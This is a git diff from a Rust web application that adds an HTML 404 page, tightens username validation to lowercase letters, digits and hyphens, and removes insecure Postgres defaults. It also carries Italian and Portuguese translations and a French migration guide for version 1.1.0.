@@ -205,7 +206,7 @@ profile:
205 206 email_used_for: "Utilizzato per l'accesso"
206 207 email_warning: "⚠️ Verrai disconnesso dopo la modifica"
207 208 email_change_info: "Le modifiche all'email richiedono una nuova connessione per motivi di sicurezza."
208 - username_help: "3-50 caratteri (lettere, numeri, -, _)"
209 + username_help: "Da 3 a 39 caratteri (a-z, 0-9, -)"
209 210 additional_info: "Informazioni aggiuntive"
210 211 account_created: "Account creato il"
211 212 roles: "Ruoli"
@@ -362,7 +363,8 @@ admin:
362 363 title_edit: "Modifica un utente"
363 364 back_to_list: "Torna alla lista"
364 365 username_label: "Nome utente"
365 - username_placeholder: "nome_utente"
366 + username_placeholder: "nome-utente"
367 + username_pattern: "Solo minuscole, numeri e trattini, da 3 a 39 caratteri"
366 368 username_readonly_hint: "Il nome utente non può essere modificato dopo la creazione"
367 369 email_label: "Email"
368 370 email_placeholder: "utente@example.com"
@@ -956,3 +958,11 @@ fediverse_invite_landing:
956 958 reject_button: "Rifiuta"
957 959 already_decided: "Questo invito è già stato gestito."
958 960 cannot_accept_note: "Per accettare, devi essere connesso con un'identità federata (accesso dalla tua istanza di origine). Puoi rifiutare da questo account locale, ma l'accettazione passa attraverso il flow AP-nativo."
961 +
962 +# Pagina 404 (route sconosciuta)
963 +http_errors:
964 + not_found_title: "Pagina non trovata"
965 + not_found_message: "Questo indirizzo non corrisponde a nessuna pagina."
966 + code_label: "Errore 404"
967 + home: "Torna alla home"
968 + login: "Accedi"
M crates/rustwarden-ui/locales/pt.yml
+13 -3
@@ -18,6 +18,7 @@ login:
18 18 username_placeholder: "Nome de usuário ou email"
19 19 password_placeholder: "Sua senha"
20 20 username_placeholder_register: "Seu nome de usuário (mín. 3 caracteres)"
21 + username_pattern_register: "Apenas minúsculas, números e hífens, de 3 a 39 caracteres"
21 22 password_placeholder_register: "Sua senha (mín. 8 caracteres)"
22 23 email_placeholder: "seu@email.com"
23 24 forgot_password: "Esqueceu a senha?"
@@ -194,7 +195,7 @@ profile:
194 195 username: "Nome de usuário"
195 196 username_public: "Visível publicamente"
196 197 username_placeholder: "Seu nome de usuário"
197 - username_pattern: "Apenas letras, números, hífens e sublinhados"
198 + username_pattern: "Apenas minúsculas, números e hífens, de 3 a 39 caracteres"
198 199 email: "Email"
199 200 email_placeholder: "seu@email.com"
200 201 save: "Salvar alterações"
@@ -205,7 +206,7 @@ profile:
205 206 email_used_for: "Usado para login"
206 207 email_warning: "⚠️ Você será desconectado após a alteração"
207 208 email_change_info: "Alterações no email requerem uma nova conexão por motivos de segurança."
208 - username_help: "3-50 caracteres (letras, números, -, _)"
209 + username_help: "De 3 a 39 caracteres (a-z, 0-9, -)"
209 210 additional_info: "Informações adicionais"
210 211 account_created: "Conta criada em"
211 212 roles: "Funções"
@@ -362,7 +363,8 @@ admin:
362 363 title_edit: "Editar um usuário"
363 364 back_to_list: "Voltar à lista"
364 365 username_label: "Nome de usuário"
365 - username_placeholder: "nome_usuario"
366 + username_placeholder: "nome-usuario"
367 + username_pattern: "Apenas minúsculas, números e hífens, de 3 a 39 caracteres"
366 368 username_readonly_hint: "O nome de usuário não pode ser alterado após a criação"
367 369 email_label: "Email"
368 370 email_placeholder: "usuario@exemplo.com"
@@ -956,3 +958,11 @@ fediverse_invite_landing:
956 958 reject_button: "Recusar"
957 959 already_decided: "Este convite já foi processado."
958 960 cannot_accept_note: "Para aceitar, você deve estar conectado por meio de uma identidade federada (login da sua instância de origem). Pode recusar desta conta local, mas a aceitação passa pelo fluxo AP-nativo."
961 +
962 +# Página 404 (rota desconhecida)
963 +http_errors:
964 + not_found_title: "Página não encontrada"
965 + not_found_message: "Este endereço não corresponde a nenhuma página."
966 + code_label: "Erro 404"
967 + home: "Voltar ao início"
968 + login: "Entrar"
M crates/rustwarden-ui/src/handlers/admin_handler.rs
+7 -0
@@ -573,6 +573,7 @@ struct UserFormTemplate {
573 573 back_to_list: String,
574 574 username_label: String,
575 575 username_placeholder: String,
576 + username_pattern: String,
576 577 username_readonly_hint: String,
577 578 email_label: String,
578 579 email_placeholder: String,
@@ -996,6 +997,9 @@ pub async fn create_user_form(
996 997 username_placeholder: i18n_service
997 998 .translate("admin.user_form.username_placeholder", locale_str)
998 999 .await,
1000 + username_pattern: i18n_service
1001 + .translate("admin.user_form.username_pattern", locale_str)
1002 + .await,
999 1003 username_readonly_hint: i18n_service
1000 1004 .translate("admin.user_form.username_readonly_hint", locale_str)
1001 1005 .await,
@@ -1206,6 +1210,9 @@ pub async fn edit_user_form(
1206 1210 username_placeholder: i18n_service
1207 1211 .translate("admin.user_form.username_placeholder", locale_str)
1208 1212 .await,
1213 + username_pattern: i18n_service
1214 + .translate("admin.user_form.username_pattern", locale_str)
1215 + .await,
1209 1216 username_readonly_hint: i18n_service
1210 1217 .translate("admin.user_form.username_readonly_hint", locale_str)
1211 1218 .await,
A crates/rustwarden-ui/src/handlers/error_page.rs
+239 -0
@@ -0,0 +1,239 @@
1 +//! HTML 404 page for unmatched browser routes.
2 +//!
3 +//! API paths and JSON-only clients still receive a JSON body.
4 +
5 +use askama::Template;
6 +use axum::body::Body;
7 +use axum::extract::Request;
8 +use axum::http::{HeaderMap, HeaderName, HeaderValue, StatusCode, header};
9 +use axum::response::{Html, IntoResponse, Response};
10 +use std::sync::Arc;
11 +
12 +use rustwarden_core::i18n::extractor::Locale;
13 +use rustwarden_core::i18n::service::I18nService;
14 +use rustwarden_core::templates::LayoutContext;
15 +
16 +const SUPPORTED_LOCALES: [&str; 6] = ["fr", "en", "de", "es", "it", "pt"];
17 +
18 +/// Unmatched-route page. Copy is filled from i18n when the app has loaded it.
19 +#[derive(Template)]
20 +#[template(path = "errors/404.html")]
21 +struct NotFoundTemplate {
22 + fragment: bool,
23 + locale: String,
24 + app_name: String,
25 + page_title: String,
26 + code_label: String,
27 + title: String,
28 + message: String,
29 + path: String,
30 + home_label: String,
31 + login_label: String,
32 +}
33 +
34 +/// Fallback for routes that match nothing on the UI router.
35 +///
36 +/// Browsers and HTMX receive the HTML page (status 404). Paths under `/api/`
37 +/// and clients that ask only for `application/json` receive JSON.
38 +pub async fn not_found(request: Request<Body>) -> Response {
39 + let path = request.uri().path();
40 + let headers = request.headers();
41 + if wants_json(path, headers) {
42 + return (
43 + StatusCode::NOT_FOUND,
44 + axum::Json(serde_json::json!({
45 + "error": "Not found",
46 + "status": 404,
47 + })),
48 + )
49 + .into_response();
50 + }
51 +
52 + let locale = locale_from_request(&request);
53 + let i18n = request.extensions().get::<Arc<I18nService>>().cloned();
54 + let fragment = headers
55 + .get("hx-request")
56 + .and_then(|v| v.to_str().ok())
57 + .is_some_and(|v| v.eq_ignore_ascii_case("true"));
58 +
59 + let title = tr(
60 + i18n.as_deref(),
61 + "http_errors.not_found_title",
62 + &locale,
63 + "Page introuvable",
64 + )
65 + .await;
66 + let message = tr(
67 + i18n.as_deref(),
68 + "http_errors.not_found_message",
69 + &locale,
70 + "Cette adresse ne correspond à aucune page.",
71 + )
72 + .await;
73 + let code_label = tr(
74 + i18n.as_deref(),
75 + "http_errors.code_label",
76 + &locale,
77 + "Erreur 404",
78 + )
79 + .await;
80 + let home_label = tr(
81 + i18n.as_deref(),
82 + "http_errors.home",
83 + &locale,
84 + "Retour à l'accueil",
85 + )
86 + .await;
87 + let login_label = tr(
88 + i18n.as_deref(),
89 + "http_errors.login",
90 + &locale,
91 + "Se connecter",
92 + )
93 + .await;
94 + let layout = LayoutContext::new("", "");
95 + let page_title = format!("404 — {title} — {}", layout.app_name);
96 + let shown_path: String = path.chars().take(200).collect();
97 +
98 + let template = NotFoundTemplate {
99 + fragment,
100 + locale,
101 + app_name: layout.app_name,
102 + page_title,
103 + code_label,
104 + title,
105 + message,
106 + path: shown_path,
107 + home_label,
108 + login_label,
109 + };
110 +
111 + let html = match template.render() {
112 + Ok(html) => html,
113 + Err(err) => {
114 + tracing::error!("404 template render failed: {err}");
115 + return (StatusCode::NOT_FOUND, Html(FALLBACK_HTML.to_string())).into_response();
116 + }
117 + };
118 +
119 + let mut response = (StatusCode::NOT_FOUND, Html(html)).into_response();
120 + if fragment {
121 + let headers = response.headers_mut();
122 + headers.insert(
123 + HeaderName::from_static("hx-retarget"),
124 + HeaderValue::from_static("body"),
125 + );
126 + headers.insert(
127 + HeaderName::from_static("hx-reswap"),
128 + HeaderValue::from_static("innerHTML"),
129 + );
130 + }
131 + response
132 +}
133 +
134 +fn wants_json(path: &str, headers: &HeaderMap) -> bool {
135 + if path.starts_with("/api/") {
136 + return true;
137 + }
138 + let accept = headers
139 + .get(header::ACCEPT)
140 + .and_then(|value| value.to_str().ok())
141 + .unwrap_or("");
142 + accept.contains("application/json") && !accept.contains("text/html")
143 +}
144 +
145 +fn locale_from_request(request: &Request<Body>) -> String {
146 + if let Some(Locale(value)) = request.extensions().get::<Locale>() {
147 + let code = value.split(['_', '-']).next().unwrap_or(value);
148 + if SUPPORTED_LOCALES.contains(&code) {
149 + return code.to_string();
150 + }
151 + }
152 + let header = request
153 + .headers()
154 + .get(header::ACCEPT_LANGUAGE)
155 + .and_then(|value| value.to_str().ok())
156 + .unwrap_or("");
157 + for part in header.split(',') {
158 + let token = part.split(';').next().unwrap_or("").trim();
159 + let code = token.split(['_', '-']).next().unwrap_or("");
160 + if SUPPORTED_LOCALES.contains(&code) {
161 + return code.to_string();
162 + }
163 + }
164 + "fr".to_string()
165 +}
166 +
167 +async fn tr(i18n: Option<&I18nService>, key: &str, locale: &str, fallback: &str) -> String {
168 + let Some(i18n) = i18n else {
169 + return fallback.to_string();
170 + };
171 + let value = i18n.translate(key, locale).await;
172 + if value == key {
173 + fallback.to_string()
174 + } else {
175 + value
176 + }
177 +}
178 +
179 +const FALLBACK_HTML: &str = r#"<!DOCTYPE html>
180 +<html lang="fr"><head><meta charset="utf-8"><title>404</title></head>
181 +<body><h1>Page introuvable</h1><p><a href="/">Retour à l'accueil</a></p></body></html>"#;
182 +
183 +#[cfg(test)]
184 +mod tests {
185 + use super::*;
186 + use axum::body::to_bytes;
187 +
188 + #[tokio::test]
189 + async fn browser_gets_html_404() {
190 + let request = Request::builder()
191 + .uri("/cette-page-nexiste-pas")
192 + .header(header::ACCEPT, "text/html")
193 + .body(Body::empty())
194 + .expect("request");
195 + let response = not_found(request).await;
196 + assert_eq!(response.status(), StatusCode::NOT_FOUND);
197 + let bytes = to_bytes(response.into_body(), 64 * 1024)
198 + .await
199 + .expect("body");
200 + let html = String::from_utf8_lossy(&bytes);
201 + assert!(html.contains("Page introuvable"), "{html}");
202 + assert!(html.contains("/cette-page-nexiste-pas"), "{html}");
203 + assert!(html.contains("l&#39;accueil"), "{html}");
204 + }
205 +
206 + #[tokio::test]
207 + async fn api_path_stays_json() {
208 + let request = Request::builder()
209 + .uri("/api/v1/does-not-exist")
210 + .header(header::ACCEPT, "text/html")
211 + .body(Body::empty())
212 + .expect("request");
213 + let response = not_found(request).await;
214 + assert_eq!(response.status(), StatusCode::NOT_FOUND);
215 + let bytes = to_bytes(response.into_body(), 8 * 1024)
216 + .await
217 + .expect("body");
218 + let body = String::from_utf8_lossy(&bytes);
219 + assert!(body.contains("\"status\":404"), "{body}");
220 + assert!(!body.contains("<html"), "{body}");
221 + }
222 +
223 + #[tokio::test]
224 + async fn json_accept_stays_json() {
225 + let request = Request::builder()
226 + .uri("/nope")
227 + .header(header::ACCEPT, "application/json")
228 + .body(Body::empty())
229 + .expect("request");
230 + let response = not_found(request).await;
231 + assert_eq!(response.status(), StatusCode::NOT_FOUND);
232 + let content_type = response
233 + .headers()
234 + .get(header::CONTENT_TYPE)
235 + .and_then(|v| v.to_str().ok())
236 + .unwrap_or("");
237 + assert!(content_type.contains("application/json"), "{content_type}");
238 + }
239 +}
M crates/rustwarden-ui/src/handlers/login_handler.rs
+5 -0
@@ -36,6 +36,7 @@ struct LoginTemplate {
36 36 username_placeholder: String,
37 37 password_placeholder: String,
38 38 username_placeholder_register: String,
39 + username_pattern_register: String,
39 40 password_placeholder_register: String,
40 41 email_placeholder: String,
41 42 submit_button: String,
@@ -199,6 +200,9 @@ pub async fn login_page(
199 200 let username_placeholder_register = i18n_service
200 201 .translate("login.username_placeholder_register", locale_str)
201 202 .await;
203 + let username_pattern_register = i18n_service
204 + .translate("login.username_pattern_register", locale_str)
205 + .await;
202 206 let password_placeholder_register = i18n_service
203 207 .translate("login.password_placeholder_register", locale_str)
204 208 .await;
@@ -278,6 +282,7 @@ pub async fn login_page(
278 282 username_placeholder,
279 283 password_placeholder,
280 284 username_placeholder_register,
285 + username_pattern_register,
281 286 password_placeholder_register,
282 287 email_placeholder,
283 288 submit_button,
M crates/rustwarden-ui/src/handlers/mod.rs
+2 -0
@@ -8,6 +8,8 @@ pub mod admin_handler;
8 8 pub mod dashboard_handler;
9 9 /// Email delivery status handlers.
10 10 pub mod email_handler;
11 +/// HTML 404 page for unmatched routes.
12 +pub mod error_page;
11 13 /// Health-check endpoint handler.
12 14 pub mod health;
13 15 /// Home page handler.
M crates/rustwarden-ui/src/handlers/settings/profile.rs
+20 -79
@@ -38,57 +38,35 @@ pub async fn update_profile(
38 38 .await?
39 39 .ok_or_else(|| AppError::NotFound("User not found".to_string()))?;
40 40
41 - let old_email = old_user.email.clone();
42 - let new_email = request.email.clone();
43 - let new_username = request.username.clone();
44 - let email_was_changed = new_email.as_ref().map(|e| e != &old_email).unwrap_or(false);
45 -
41 + // RFC 0041: `update_profile` no longer writes `users.email`. It accepts an
42 + // echo of the current address (the profile form submits every field) and
43 + // refuses an actual change with a `Validation` error pointing at
44 + // `EmailChangeService` — the two-step flow lives on the machine channel
45 + // (`POST /api/v1/auth/email-change`). Nothing to invalidate here either:
46 + // pending password-change requests are dropped by the core service when
47 + // the new address is confirmed, not when it is merely requested.
46 48 let updated_user =
47 49 UserService::update_profile(&db, claims.sub, request.username, request.email).await?;
48 50
49 51 tracing::info!("Profile updated for user {}", updated_user.username);
50 52
51 - if email_was_changed {
52 - use rustwarden_core::services::password_change_service::PasswordChangeService;
53 - let password_change_service = PasswordChangeService::new();
54 - let invalidated = password_change_service
55 - .invalidate_on_email_change(&db, claims.sub)
56 - .await?;
57 - if invalidated > 0 {
58 - tracing::warn!(
59 - "Invalidated {} pending password change request(s) for user {} due to email change",
60 - invalidated,
61 - updated_user.username
62 - );
63 - }
64 - }
65 -
66 - if let Ok(email_config) = EmailConfig::from_env() {
67 - let modified_at = Utc::now().format("%Y-%m-%d %H:%M:%S UTC").to_string();
68 - let app_name = email_config
69 - .smtp_from_name
70 - .clone()
71 - .unwrap_or_else(rustwarden_core::config::app::default_app_name);
53 + // The UI layer only notifies an actual username rename: the profile form
54 + // always submits every field, so an echoed (unchanged) username must not
55 + // trigger an alert.
56 + if updated_user.username != old_user.username {
57 + if let Ok(email_config) = EmailConfig::from_env() {
58 + let modified_at = Utc::now().format("%Y-%m-%d %H:%M:%S UTC").to_string();
59 + let app_name = email_config
60 + .smtp_from_name
61 + .clone()
62 + .unwrap_or_else(rustwarden_core::config::app::default_app_name);
72 63
73 - let mut changes = Vec::new();
74 - if new_username.is_some() {
75 - changes.push(rustwarden_core::templates::email_templates::AccountChange {
64 + let changes = vec![rustwarden_core::templates::email_templates::AccountChange {
76 65 field: "Username".to_string(),
77 66 old_value: Some(old_user.username.clone()),
78 67 new_value: updated_user.username.clone(),
79 - });
80 - }
81 - if email_was_changed {
82 - if let Some(ref new_email) = new_email {
83 - changes.push(rustwarden_core::templates::email_templates::AccountChange {
84 - field: "Email".to_string(),
85 - old_value: Some(old_email.clone()),
86 - new_value: new_email.clone(),
87 - });
88 - }
89 - }
68 + }];
90 69
91 - if !changes.is_empty() {
92 70 let template =
93 71 rustwarden_core::templates::email_templates::AccountModifiedTemplate::new(
94 72 Some("fr".to_string()),
@@ -102,44 +80,7 @@ pub async fn update_profile(
102 80 let subject = "Compte modifié".to_string();
103 81 use rustwarden_core::services::email_queue_service::EmailQueueService;
104 82
105 - if email_was_changed {
106 - if let Err(e) = EmailQueueService::enqueue(
107 - &db,
108 - updated_user.email.clone(),
109 - Some(updated_user.username.clone()),
110 - email_config.smtp_from.clone(),
111 - email_config.smtp_from_name.clone(),
112 - subject.clone(),
113 - body_html.clone(),
114 - body_text.clone(),
115 - "account_modified".to_string(),
116 - )
117 - .await
118 - {
119 - tracing::warn!(
120 - "Failed to enqueue account modified email to new address: {}",
121 - e
122 - );
123 - }
124 - if let Err(e) = EmailQueueService::enqueue(
125 - &db,
126 - old_email.clone(),
127 - Some(updated_user.username.clone()),
128 - email_config.smtp_from.clone(),
129 - email_config.smtp_from_name.clone(),
130 - subject,
131 - body_html,
132 - body_text,
133 - "account_modified".to_string(),
134 - )
135 - .await
136 - {
137 - tracing::warn!(
138 - "Failed to enqueue account modified email to old address: {}",
139 - e
140 - );
141 - }
142 - } else if let Err(e) = EmailQueueService::enqueue(
83 + if let Err(e) = EmailQueueService::enqueue(
143 84 &db,
144 85 updated_user.email.clone(),
145 86 Some(updated_user.username.clone()),
M crates/rustwarden-ui/src/handlers/user_handler.rs
+2 -2
@@ -18,8 +18,8 @@ use rustwarden_core::services::{
18 18 /// Inline DTO: Create user request
19 19 #[derive(Debug, Deserialize, Validate)]
20 20 pub struct CreateUserRequest {
21 - /// Desired login name (3–50 characters).
22 - #[validate(length(min = 3, max = 50))]
21 + /// Desired login name (3–39 characters, `[a-z0-9-]`, no reserved words).
22 + #[validate(length(min = 3, max = 39))]
23 23 pub username: String,
24 24 /// Valid email address for the new account.
25 25 #[validate(email)]
M crates/rustwarden-ui/src/routes.rs
+3 -1
@@ -7,7 +7,8 @@ use tower_http::services::ServeDir;
7 7
8 8 use crate::handlers::settings::{preferences, profile, security};
9 9 use crate::handlers::{
10 - admin_handler, health, home_handler, login_handler, root_handler, totp_handler, user_handler,
10 + admin_handler, error_page, health, home_handler, login_handler, root_handler, totp_handler,
11 + user_handler,
11 12 };
12 13
13 14 /// Build the **browser** family of UI routes (SSR, session-cookie driven).
@@ -114,6 +115,7 @@ pub fn browser_routes() -> Router<DatabaseConnection> {
114 115 .merge(ui_routes)
115 116 .merge(admin_routes)
116 117 .nest_service("/static", static_service)
118 + .fallback(error_page::not_found)
117 119 }
118 120
119 121 /// Build the **machine** family of API routes (`/api/v1/*`).
M crates/rustwarden-ui/templates/admin/user_form.html
+10 -6
@@ -64,12 +64,16 @@
64 64 <span class="label-text-alt text-error">*</span>
65 65 </label>
66 66 {% if mode == "create" %}
67 - <input
68 - type="text"
69 - name="username"
70 - value="{{ form_username }}"
71 - placeholder="{{ username_placeholder }}"
72 - class="input input-bordered w-full"
67 + <input
68 + type="text"
69 + name="username"
70 + value="{{ form_username }}"
71 + placeholder="{{ username_placeholder }}"
72 + class="input input-bordered w-full"
73 + minlength="3"
74 + maxlength="39"
75 + pattern="[a-z0-9-]+"
76 + title="{{ username_pattern }}"
73 77 required
74 78 >
75 79 {% else %}
A crates/rustwarden-ui/templates/errors/404.html
+53 -0
@@ -0,0 +1,53 @@
1 +{% if !fragment %}
2 +<!DOCTYPE html>
3 +<html lang="{{ locale }}" data-theme="light">
4 +<head>
5 + <script>
6 + (function() {
7 + var lm = document.cookie.match(/(?:^|;\s*)locale=([^;]*)/);
8 + if (lm && lm[1]) document.documentElement.lang = lm[1];
9 + var m = document.cookie.match(/(?:^|;\s*)theme=([^;]*)/);
10 + var t = m ? m[1] : 'auto';
11 + if (t === 'dark') {
12 + document.documentElement.setAttribute('data-theme', 'dark');
13 + } else if (t === 'light') {
14 + document.documentElement.setAttribute('data-theme', 'light');
15 + } else {
16 + var d = window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
17 + document.documentElement.setAttribute('data-theme', d);
18 + }
19 + })();
20 + </script>
21 + <meta charset="UTF-8">
22 + <meta name="viewport" content="width=device-width, initial-scale=1.0">
23 + <meta name="robots" content="noindex">
24 + <title>{{ page_title }}</title>
25 + <link rel="icon" type="image/svg+xml" href="/static/images/favicon.svg">
26 + <link href="/static/css/tailwind.css" rel="stylesheet">
27 + <link href="/static/css/custom.css" rel="stylesheet">
28 +</head>
29 +<body class="bg-base-200 min-h-screen text-base-content">
30 +{% endif %}
31 +<main class="min-h-screen flex items-center justify-center px-4 py-10" id="http-error">
32 + <div class="max-w-md w-full text-center">
33 + <a href="/" class="inline-flex items-center justify-center mb-6">
34 + <img src="/static/images/logo.svg" alt="{{ app_name }}" class="h-12 w-12">
35 + </a>
36 + <p class="text-sm font-medium uppercase tracking-wide text-base-content/60 mb-2">{{ code_label }}</p>
37 + <h1 class="text-3xl font-bold mb-3">{{ title }}</h1>
38 + <p class="text-base-content/70 mb-4">{{ message }}</p>
39 + {% if path != "" %}
40 + <p class="mb-8">
41 + <code class="text-sm break-all bg-base-100 rounded px-2 py-1">{{ path }}</code>
42 + </p>
43 + {% endif %}
44 + <div class="space-y-3">
45 + <a href="/" class="btn btn-primary w-full">{{ home_label }}</a>
46 + <a href="/login" class="btn btn-ghost w-full">{{ login_label }}</a>
47 + </div>
48 + </div>
49 +</main>
50 +{% if !fragment %}
51 +</body>
52 +</html>
53 +{% endif %}
M crates/rustwarden-ui/templates/login.html
+3 -1
@@ -193,7 +193,9 @@
193 193 name="username"
194 194 required
195 195 minlength="3"
196 - maxlength="50"
196 + maxlength="39"
197 + pattern="[a-z0-9-]+"
198 + title="{{ username_pattern_register }}"
197 199 autocomplete="username"
198 200 class="input input-bordered w-full"
199 201 placeholder="{{ username_placeholder_register }}">
M crates/rustwarden-ui/templates/profile.html
+2 -2
@@ -45,8 +45,8 @@
45 45 placeholder="{{ username_placeholder }}"
46 46 class="input input-bordered w-full"
47 47 minlength="3"
48 - maxlength="50"
49 - pattern="[a-zA-Z0-9_-]+"
48 + maxlength="39"
49 + pattern="[a-z0-9-]+"
50 50 title="{{ username_pattern }}"
51 51 required
52 52 >
M database/docker-compose.yml
+6 -3
@@ -9,11 +9,14 @@ services:
9 9 # If you need to create multiple database you can add coma separated databases eg gis,data
10 10 - POSTGRES_DB=${POSTGRES_DB:-database}
11 11 - POSTGRES_USER=${POSTGRES_USER:-user}
12 - - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-pass3ord}
13 - - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-0.0.0.0/0}
12 + # Required: copy env.sample to .env and set a unique password. No default.
13 + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?Set POSTGRES_PASSWORD in database/.env}
14 + # ALLOW_IP_RANGE n'est pas consommé par ce compose (pas de pg_hba custom).
15 + # Conservé en commentaire pour ne pas prétendre restreindre 0.0.0.0/0 :
16 + # - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-127.0.0.1/32}
14 17 # Add extensions you need to be enabled by default in the DB. Default are the five specified below
15 18 ports:
16 - - 5432:5432
19 + - "127.0.0.1:5432:5432"
17 20 restart: unless-stopped
18 21 healthcheck:
19 22 test: "exit 0"
M database/env.sample
+4 -1
@@ -1,8 +1,11 @@
1 1 ## environment file for docker-compose and builders
2 +## Copy to database/.env (not committed). POSTGRES_PASSWORD is required
3 +## (`:?` in docker-compose.yml) — there is no compose fallback.
2 4
3 5 COMPOSE_PROJECT_NAME=postgres-rustwarden
4 6 POSTGRES_DB=rustwarden
5 7 POSTGRES_USER=rustwarden_user
6 8 POSTGRES_PASSWORD=change_me_in_production
7 -ALLOW_IP_RANGE=0.0.0.0/0
9 +# ALLOW_IP_RANGE is unused by this compose (no custom pg_hba).
10 +# ALLOW_IP_RANGE=127.0.0.1/32
8 11
M docs/MIGRATION_GUIDE.md
+496 -0
@@ -4,6 +4,502 @@ Ce document liste les changements qui impactent les projets consommateurs de `ru
4 4 et `rustwarden-ui`, avec les instructions de migration pour chacun.
5 5
6 6 Les entrees sont classees par date, de la plus recente a la plus ancienne.
7 +`rustwarden-cli update-project` recopie ce fichier dans `docs/` du projet consommateur
8 +(avec `SERVICES_REFERENCE.md`).
9 +
10 +---
11 +
12 +## 2026-09-18 — RFC 0036-0041 (1.1.0)
13 +
14 +Minor de securite. Les RFC 0036 a 0040 sont **Accepted (2026-09-18)**, la RFC
15 +0041 **Accepted (2026-09-19)** ; toutes sont **implementees**. La RFC 0041
16 +**remplace** la RFC 0038, passee `Superseded` avant toute publication : lisez
17 +directement la section 0041 ci-dessous, il n'y a pas de transition v1 → v2 a
18 +faire. Fenetre d'adoption **14 jours**
19 +([RUSTWARDEN_EVOLUTION_PROCESS.md](RUSTWARDEN_EVOLUTION_PROCESS.md) §9).
20 +Details : CHANGELOG `[1.1.0]`, [SERVICES_REFERENCE.md](SERVICES_REFERENCE.md)
21 +bandeau 1.1.0 + §3, §4, §9, §10, §19.
22 +
23 +**Trois API ajoutees** (`types::Username`,
24 +`config::security_headers::SecurityHeadersConfig`,
25 +`services::email_change_service::EmailChangeService`),
26 +**quatre changements de comportement** sur des chemins d'auth existants,
27 +**deux migrations SeaORM a jouer**, **cinq routes ajoutees**.
28 +
29 +> ⚠️ **Ordre imperatif** : jouer la migration
30 +> `m20260918_000010_totp_last_used_step` **avant** de demarrer le binaire 1.1.0.
31 +> Le modele SeaORM `user_totp` declare `last_used_step`, donc SeaORM emet la
32 +> liste de colonnes explicite : sur un schema pre-migration, **toute** requete
33 +> sur `user_totp` echoue — y compris `TotpService::is_totp_enabled`, appelee a
34 +> **chaque** login. Un replica 1.1.0 sur un schema pre-migration fait donc
35 +> echouer **tous les logins en HTTP 500** (pas seulement ceux des comptes 2FA)
36 +> tant que la colonne `user_totp.last_used_step` est absente.
37 +
38 +### Ordre d'operations
39 +
40 +```bash
41 +# 1. Sauvegarde avant tout
42 +pg_dump "$DATABASE_URL" > backup-avant-1.1.0.sql
43 +
44 +# 2. Recuperer le framework (vendor + docs framework-owned)
45 +cargo run -p rustwarden-cli -- update-project
46 +
47 +# 3. Aligner les pins de dependances de crates/rustwarden-core/Cargo.toml
48 +# sea-orm / sea-orm-migration = "2.0.0", sea-bae = "0.2.2",
49 +# validator_derive = "0.20.1"
50 +cargo update
51 +
52 +# 4. Migrations AVANT le deploiement du binaire
53 +# m20260918_000010_totp_last_used_step + m20260919_000011_pending_email_changes
54 +cargo run --bin migrate
55 +# (ou auto_migrate(true) si deploiement mono-instance)
56 +
57 +# 5. Rediriger les appels qui changeaient l'email (RFC 0041)
58 +grep -rn "update_profile" src/
59 +
60 +# 6. Lint
61 +cargo clippy --workspace -- -D warnings
62 +
63 +# 7. Smoke tests auth : login, register, changement d'email, 2FA
64 +```
65 +
66 +`cargo clippy --workspace --all-features` est a eviter : la feature
67 +`redis-session` de `rustwarden-core` ne compile pas.
68 +
69 +---
70 +
71 +### RFC 0036 — newtype `Username`
72 +
73 +[docs/rfcs/0036-username-charset-validation.md](rfcs/0036-username-charset-validation.md)
74 +
75 +| Sujet | Avant (1.0.1) | Apres (1.1.0) |
76 +|-------|---------------|---------------|
77 +| Charset username | Aucune contrainte : `John_Doe`, `alice.bob`, backticks et `$` acceptes | `[a-z0-9-]` uniquement. Majuscule **rejetee** (pas de fold : `Alice` → erreur, pas `alice`) |
78 +| Longueur | `RegisterRequest` : 3–64 | 3–39 (apres `trim`), `RegisterRequest` : `max = 39` |
79 +| Tirets | Libres | Ni en tete ni en queue, pas de `--` consecutifs |
80 +| Noms reserves | Aucun | `types::team_slug::RESERVED` + `me` + `explore` |
81 +| Porte de validation | Aucune | `UserService::create_user` (unique gate) + `POST /api/v1/auth/register` (defense en profondeur) |
82 +| Rename (`update_profile`) | Unicite seulement | `Username::parse` **seulement sur un vrai rename** ; echo du username courant = no-op |
83 +| Bootstrap admin | `create_user` | `create_user_allow_reserved` (`pub(crate)`, reserve a `ensure_default_admin`) → `ADMIN_USERNAME=admin` continue de booter |
84 +| OAuth auto-username | `_` possible, longueur libre | `OAuthService::generate_unique_username` : minuscules `[a-z0-9]`, base a 30 chars, suffixes `-NNN` / `-user` / `-<hex8>` |
85 +| Schema DB | — | **Aucun `CHECK` SQL, aucune migration, aucun rewrite** |
86 +| Login des comptes existants | — | **Inchange** — les handles hors charset se connectent toujours |
87 +
88 +**Actions consommateur**
89 +
90 +```bash
91 +# Usernames generes par votre app : passent-ils Username::parse ?
92 +grep -rn "create_user(" src/
93 +grep -rn "update_profile(" src/
94 +# Newtype Username local a retirer (ex. gitrust)
95 +grep -rni "struct Username\|fn parse_username\|validate_username" src/
96 +```
97 +
98 +- Si votre app genere des usernames (import LDAP, seed, provisioning SSO maison),
99 + verifier qu'ils sont en minuscules, `[a-z0-9-]`, 3–39 caracteres, sans `--`.
100 + Sinon `create_user` renvoie desormais `AppError::Validation` (HTTP 400).
101 +- **Retirer** un newtype `Username` local : utiliser
102 + `rustwarden_core::types::Username` (re-exporte au prelude). Pour valider un
103 + identifiant avant de le stocker ailleurs :
104 +
105 + ```rust
106 + use rustwarden_core::prelude::*;
107 +
108 + let username = Username::parse(&raw_input)?; // AppError::Validation si invalide
109 + UserService::create_user(&db, username.into_inner(), email, hash, false).await?;
110 + ```
111 +
112 +- Formulaires cote client : aligner le `maxlength` / le pattern HTML sur 39 et
113 + `[a-z0-9-]` pour ne pas renvoyer une erreur serveur a l'utilisateur.
114 + `rustwarden-ui` le fait desormais pour ses propres ecrans (`login.html`
115 + inscription, `profile.html`, `admin/user_form.html` en mode `create`) et ses
116 + six locales decrivent la bonne regle — si vous avez **forke** ces templates ou
117 + ces fichiers `locales/*.yml`, reportez le changement a la main :
118 + `maxlength="39"`, `pattern="[a-z0-9-]+"`, et le texte d'aide
119 + « minuscules, chiffres et tirets uniquement, 3 a 39 caracteres ».
120 +
121 +**Pieges**
122 +
123 +- **Comptes existants hors charset** : ils se connectent toujours, mais toute
124 + tentative de **rename** vers une autre valeur passe par `Username::parse`.
